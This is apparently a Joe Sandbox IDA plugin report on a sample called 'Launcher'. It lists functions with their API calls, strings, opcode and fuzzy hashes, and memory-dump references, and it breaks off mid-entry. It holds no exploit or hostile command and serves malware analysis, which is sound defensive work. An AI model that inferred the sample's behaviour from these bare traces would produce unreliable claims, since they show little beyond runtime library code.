Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InitVariant
String ID: %$3$=$A$B$C$E$G$K
API String ID: 1927566239-1830440523
Opcode ID: ab9045e6978d4f9dc26bb787b6470895cb96eaf74c674ba71050bb9c45d24f99
Instruction ID: 2c80640c66e27d6136c1fb440b5e6e2c12fb2b7c9c4ec1edb1cee5939accd177
Opcode Fuzzy Hash: ab9045e6978d4f9dc26bb787b6470895cb96eaf74c674ba71050bb9c45d24f99
Instruction Fuzzy Hash: A3417CB1608B808FD715CF38C495756BBE1BB99304F0889ADD4DA8B386D7B8A508CB16

Function 00101C10 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 108libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00101C3B
GetFileSize.KERNEL32 ref: 00101CC3
CloseHandle.KERNEL32 ref: 00101CDF

Strings

CreateFileA, xrefs: 00101C2E

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: AddressCloseFileHandleProcSize
String ID: CreateFileA
API String ID: 2836222988-1429953656
Opcode ID: b556083d9af1db4eeacbd2352c8809d2524583155ebff05948bdc4ea56c87a81
Instruction ID: 6ce2c37eeacf715ce2f38d079a0b9fcc6297021e55b812af4192c0788707699a
Opcode Fuzzy Hash: b556083d9af1db4eeacbd2352c8809d2524583155ebff05948bdc4ea56c87a81
Instruction Fuzzy Hash: A34194B49082499FDB04EFA8D4586AEBBF0FF49314F00852DE899A7390D7789584CF96

Function 00132512 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,7FFFFFFF,?,001324FD,?,?,?,?,?,?,?,?,?,?), ref: 001325B8
__alloca_probe_16.LIBCMT ref: 00132673
__alloca_probe_16.LIBCMT ref: 00132702
__freea.LIBCMT ref: 0013274D
__freea.LIBCMT ref: 00132753
__freea.LIBCMT ref: 00132789
__freea.LIBCMT ref: 0013278F
__freea.LIBCMT ref: 0013279F

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 57dc0d3e510271298270fb90fc091813563bbfcfbbb8d0356b8306186903ddf1
Instruction ID: efea527feb0c53610747fd98678c16c969e6e516de1e6ebe433ae0b26566de05
Opcode Fuzzy Hash: 57dc0d3e510271298270fb90fc091813563bbfcfbbb8d0356b8306186903ddf1
Instruction Fuzzy Hash: E2711572A00259AFDF24BFA48C92FEE7BB5AF69710F250059FD04A7281DB35DD4187A0

Function 00125176 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 001251FC

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 51e6ba9edb6fa758acba511f911d2998b9b0e2e81ebecee1fdc350593847a06f
Instruction ID: 8f47ec25774b265626675fb19015fe5c840e9f5a6e3d866ab003715cd1f01ece
Opcode Fuzzy Hash: 51e6ba9edb6fa758acba511f911d2998b9b0e2e81ebecee1fdc350593847a06f
Instruction Fuzzy Hash: 6FB17A32900BB5EFDB15CF64DCC1BAEBBB6EF15350F144165E804AB282D3749961C7A0

Function 00117750 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00117787
___except_validate_context_record.LIBVCRUNTIME ref: 0011778F
_ValidateLocalCookies.LIBCMT ref: 00117818
__IsNonwritableInCurrentImage.LIBCMT ref: 00117843
_ValidateLocalCookies.LIBCMT ref: 00117898

Strings

csm, xrefs: 0011782D

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 1bed7493057e17a6d955271960eb9e0677ec5145e375b6eabd32a69d233dcf39
Instruction ID: cc164cb6bc5b4db66ec882f7491d91019184e45452abaeaaf9750f5091d86685
Opcode Fuzzy Hash: 1bed7493057e17a6d955271960eb9e0677ec5145e375b6eabd32a69d233dcf39
Instruction Fuzzy Hash: EE41F334E04218ABCF18DF68D888ADEBBB1FF45314F148075E8149B3D2D731AA91CB91

Function 00123202 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,BB40E64E,?,00123311,00000000,00000000,00000000,00000000), ref: 001232C3

Strings

api-ms-, xrefs: 00123259
ext-ms-, xrefs: 0012326D

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: b27c1ba6db2e6909767ebd203e83f2f4dd9b87d3c24d19c8155fbf43ee614872
Instruction ID: 80c338d524db39d2504b356f4e41f8ddee5b8a6cd33065287b91584b76583173
Opcode Fuzzy Hash: b27c1ba6db2e6909767ebd203e83f2f4dd9b87d3c24d19c8155fbf43ee614872
Instruction Fuzzy Hash: 7F21EB35A01235F7D7229B61FC41B5E7759EB42760F260210FA25A72A0D734EE50C6E0

Function 00116A80 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00116A86
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00116A94
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 00116AA5

Strings

GetTempPath2W, xrefs: 00116A9A
GetSystemTimePreciseAsFileTime, xrefs: 00116A8E
kernel32.dll, xrefs: 00116A81

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 99cc47a0633318617d5e6dd5b47fe5dce82c63863f4503d2d51179e372daf09b
Instruction ID: 68c12ce06d5843eae4c5530503b11178879b5ba263542aca1573588f885ba644
Opcode Fuzzy Hash: 99cc47a0633318617d5e6dd5b47fe5dce82c63863f4503d2d51179e372daf09b
Instruction Fuzzy Hash: E9D09E795413216BC3106FB17C098893BE4FB0BA51701482AF401D2574D7B444C18A91

Function 0013097C Relevance: 9.3, APIs: 6, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c71f8fb54b7908067e50b550bcab13365df5f24730b8b203920422f213da2604
Instruction ID: bf1c08b099c6a0e013f0de189eb23d96d6abb6f57a91f4b5fcc0c077e2b2eba0
Opcode Fuzzy Hash: c71f8fb54b7908067e50b550bcab13365df5f24730b8b203920422f213da2604
Instruction Fuzzy Hash: 5CB10674A04349AFDF1ADF98D861BADBBF1BF59314F144298E414AB392C7709D81CBA0

Function 00121087 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0012107E,00117170,001138AF,BB40E64E,?,?,?,?,00132FFF,000000FF,?,001090A5), ref: 00121095
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 001210A3
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 001210BC
SetLastError.KERNEL32(00000000,?,0012107E,00117170,001138AF,BB40E64E,?,?,?,?,00132FFF,000000FF,?,001090A5), ref: 0012110E

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 73973e70cde632e9f3029d9631b10738df5e113dc0b593fb88f499d29f519389
Instruction ID: 0677e0e6f38dce78b06051f1d2fb55f38c7fe8715d80e2fe6b8129af9fdad45d
Opcode Fuzzy Hash: 73973e70cde632e9f3029d9631b10738df5e113dc0b593fb88f499d29f519389
Instruction Fuzzy Hash: 9E01D8373083317EA625A774BC5595A2A94DB37775720023AF910454F1EF234CB55A44

Function 0012190E Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00121A2D
CallUnexpected.LIBVCRUNTIME ref: 00121CA6

Strings

csm, xrefs: 001219B8
csm, xrefs: 0012194B
csm, xrefs: 00121A64

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 84c68afec3fe2b67dd71fc3dd4f7ca0a4b6094f373cf40284b0093a1888c9894
Instruction ID: 6bd522237db29b411c4a388a9a5a9401841deb54243b0ad0b5ea4ef1745b517c
Opcode Fuzzy Hash: 84c68afec3fe2b67dd71fc3dd4f7ca0a4b6094f373cf40284b0093a1888c9894
Instruction Fuzzy Hash: 36B15875800229FFCF29DFA4E8819AEB7B5FF28310B14455AF8156B212D331DAB1CB95

Function 0042E196 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 146libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(4FD74DDC,00000000,00000800), ref: 0042E369

Strings

|}, xrefs: 0042E2F0
k\h1, xrefs: 0042E1A1
y{, xrefs: 0042E2E5
5U2W, xrefs: 0042E2AE

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: LibraryLoad
String ID: 5U2W$k\h1$|}$y{
API String ID: 1029625771-1906802574
Opcode ID: 6c61470781c2de7abd57a2e8bb2155d4c30d4c38d6d8b1e9b3a78a5d8ed4ed2a
Instruction ID: 9c03fcdee122341ad6c1788bbe33a67ac71cf5e12cbce3d28c8b4c3f602ff920
Opcode Fuzzy Hash: 6c61470781c2de7abd57a2e8bb2155d4c30d4c38d6d8b1e9b3a78a5d8ed4ed2a
Instruction Fuzzy Hash: 3D410973A587908BD3248F25C856397BBE2ABD4300F1EC96EC4DD9B755CA7848068B86

Function 0011BD98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,00132EC9,000000FF,?,0011BE59,0011BD40,?,0011BEF5,00000000), ref: 0011BDCD
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0011BDDF
FreeLibrary.KERNEL32(00000000,?,?,00000000,00132EC9,000000FF,?,0011BE59,0011BD40,?,0011BEF5,00000000), ref: 0011BE01

Strings

CorExitProcess, xrefs: 0011BDD7
mscoree.dll, xrefs: 0011BDC6

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 1ec86eae8f7d662145f631f5a9f58a3d4471074f88fbee9b3bb846d354f92a48
Instruction ID: f4dd7eaa3a05f843464353ba0a10686261f35e10f39de2d170658df7917b3287
Opcode Fuzzy Hash: 1ec86eae8f7d662145f631f5a9f58a3d4471074f88fbee9b3bb846d354f92a48
Instruction Fuzzy Hash: 7D01DB35944629FFCB159F91DC45BEE7BB8FB05715F000639F811A26A0DB749980CA50

Function 001239EA Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00123A6F
__alloca_probe_16.LIBCMT ref: 00123B38
__freea.LIBCMT ref: 00123B9F

Part of subcall function 001222B1: HeapAlloc.KERNEL32(00000000,00124235,?,?,00124235,00000220,?,?,?), ref: 001222E3

__freea.LIBCMT ref: 00123BB2
__freea.LIBCMT ref: 00123BBF

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 221e398b2fa8da53c9672794c72aedf0e661ddccabf47ec2e77385fcf0fd5301
Instruction ID: c0efa5ddec0c269cd98a9c4b8948e2074ccb1a367af6234c0e9cf220c74278cc
Opcode Fuzzy Hash: 221e398b2fa8da53c9672794c72aedf0e661ddccabf47ec2e77385fcf0fd5301
Instruction Fuzzy Hash: 8751D972600226AFDB299F61EC81EBB76AEDF54710B15006CFD24D7250FB39CE65C6A0

Function 00115D01 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00115D15
AcquireSRWLockExclusive.KERNEL32(?,?,?,0010B45E), ref: 00115D34
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,0010B45E), ref: 00115D62
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,0010B45E), ref: 00115DBD
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,0010B45E), ref: 00115DD4

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: f85713d896f39ca8bccc1ccf44f359330ae893419424cb360981baa7b284fa8c
Instruction ID: 0beb0e68e47363d6b55f9908a6d20a003829c57c6b1ccd048b2f4d1e96455c27
Opcode Fuzzy Hash: f85713d896f39ca8bccc1ccf44f359330ae893419424cb360981baa7b284fa8c
Instruction Fuzzy Hash: F4413735A00A0ADFCF28CFA5E4889EAB7F6FF85311B20453AD45687950D730E9C1CB51

Function 00113142 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00113149
std::_Lockit::_Lockit.LIBCPMT ref: 00113154
std::_Lockit::~_Lockit.LIBCPMT ref: 001131C2

Part of subcall function 0011304A: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00113062

std::locale::_Setgloballocale.LIBCPMT ref: 0011316F
_Yarn.LIBCPMT ref: 00113185

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 7b7ca5ffc902272327710618a9fa6f129f5ff03347198b220b1c7569ea184ee4
Instruction ID: 3c9836c656c55d8f7e3ab58b8367b5709a85cfcb52cd82e3f1ca17ea89b05d54
Opcode Fuzzy Hash: 7b7ca5ffc902272327710618a9fa6f129f5ff03347198b220b1c7569ea184ee4
Instruction Fuzzy Hash: 32015A79A01111ABDB0AEB60D9859BC7BB1BF95750B140028E82257395CF346EC6CBC1

Function 00423F50 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 209COMMON

Download Yara Rule

Strings

uw, xrefs: 00423C7B
KB, xrefs: 00423FEC
y{, xrefs: 00423C66

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: KB$uw$y{
API String ID: 0-1885984172
Opcode ID: 013fa92a104ecaa20e22cd073e6c8c943bdd0a560f9fd66133b629a9587925b6
Instruction ID: 814eb2cc1cb8de9432451c5388415e8146a44ff45cc82280dd223c35ab4b2767
Opcode Fuzzy Hash: 013fa92a104ecaa20e22cd073e6c8c943bdd0a560f9fd66133b629a9587925b6
Instruction Fuzzy Hash: D3512576A08210DFE7108F29EC42BAAB7F4FB89314F10493DF55997391D7789506CB89

Function 0012D190 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,0012D22C,?,?,00000000,?,?,?,0012D0EA,00000002,FlsGetValue,001381E4,001381EC), ref: 0012D19D
GetLastError.KERNEL32(?,0012D22C,?,?,00000000,?,?,?,0012D0EA,00000002,FlsGetValue,001381E4,001381EC,?,?,001210A8), ref: 0012D1A7
LoadLibraryExW.KERNEL32(?,00000000,00000000,000000FF,?,001090A5), ref: 0012D1CF

Strings

api-ms-, xrefs: 0012D1B4

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: dd1b4d4d33e4a8a15e6094082909efa4d91970b3e3f42f072198402e2dddcd19
Instruction ID: ee18e3048389d9bde0373dd42bc97ec96eb1050d32d6a1c4a92a67638fb137a6
Opcode Fuzzy Hash: dd1b4d4d33e4a8a15e6094082909efa4d91970b3e3f42f072198402e2dddcd19
Instruction Fuzzy Hash: 3EE04F34280209BBEB212B61FC06B693FA9AF11B44F144420FF0EA88F1D762D8B0C554

Function 0012A25E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 0012A2C1

Part of subcall function 001223C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00123B95,?,00000000,-00000008), ref: 00122422

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0012A513
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0012A559
GetLastError.KERNEL32 ref: 0012A5FC

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: a2ba4ee2242f75b98068a0ebe967125662b2138cba390bb115e6d5b175d1bf0f
Instruction ID: fdf14d2e3dddaba49ba91bafc75e50c5b4b27996db61ed8115b6698b18a6d010
Opcode Fuzzy Hash: a2ba4ee2242f75b98068a0ebe967125662b2138cba390bb115e6d5b175d1bf0f
Instruction Fuzzy Hash: D5D19AB5D002689FCF15CFA8D8849EDBBB4FF09314F68416AE416EB351D730A991CB51

Function 00121635 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 001216FC
___AdjustPointer.LIBCMT ref: 0012171F
___AdjustPointer.LIBCMT ref: 001217BB

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: a1378438f99483dc32779370f730bf3bc4ebf5fdc3049bbc1347ef31869a5f90
Instruction ID: 5c00158fa209df03e8498e4a894e37fe237e43162dfcac82ef74e5fddaae70f5
